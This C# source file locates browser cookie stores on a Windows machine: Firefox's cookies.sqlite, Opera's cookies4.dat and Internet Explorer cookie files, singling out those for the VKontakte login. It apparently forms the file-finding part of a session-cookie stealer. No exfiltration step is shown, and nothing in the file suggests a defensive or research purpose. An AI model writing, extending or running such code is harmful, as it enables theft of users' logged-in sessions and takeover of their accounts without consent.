﻿using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace mark
{
    class Class1
    {
        //public String Mozilla;
        public String Mozilla()
        {

            try
            {
                String pathFirefox = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

                pathFirefox = pathFirefox + @"\Mozilla\Firefox\Profiles\";
                String[] pathFirefoxDir = Directory.GetFileSystemEntries(pathFirefox);
                pathFirefox = pathFirefoxDir[0] + @"\cookies.sqlite";
                return pathFirefox;
            }
            catch { };
            return "0";

        }
        public String Opera()
        {

            String pathFirefox = "123";
            try
            {
                pathFirefox = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
                pathFirefox = pathFirefox + @"\Opera\Opera\cookies4.dat";
            }
            catch { };

            //String[] pathFirefoxDir = Directory.GetFileSystemEntries(pathFirefox);
            //pathFirefox = pathFirefoxDir[0] + @"\cookies.sqlite";
            return pathFirefox;
        }

        public String[] IExplorer()
        {
            String OS;
            OS = System.Environment.OSVersion.ToString();

            String[] OSVersion = OS.Split(new char[] { '.', ' ' });
            String[] pathIEDir, filepathIECookies; String pathIE;
            pathIE = Environment.GetFolderPath(Environment.SpecialFolder.Cookies);

            String[] pathIE2 = OS.Split(new char[] { '.', ' ' }); pathIE2[0] = "1"; pathIE2[1] = "2"; pathIE2[2] = "3";
            pathIEDir = Directory.GetFileSystemEntries(pathIE);


            for (int i = 0; i < pathIEDir.Length; i++)
            {
                filepathIECookies = pathIEDir[i].Split(new char[] { '@', '[' });
                if (filepathIECookies.Length > 1)
                {
                    if (filepathIECookies[1].Equals("login.vk")) pathIE2[0] = pathIEDir[i];
                    if (filepathIECookies[1].Equals("vkontakte")) pathIE2[1] = pathIEDir[i];
                    // break;
                }
            }
            return pathIE2;
        }
    }
}

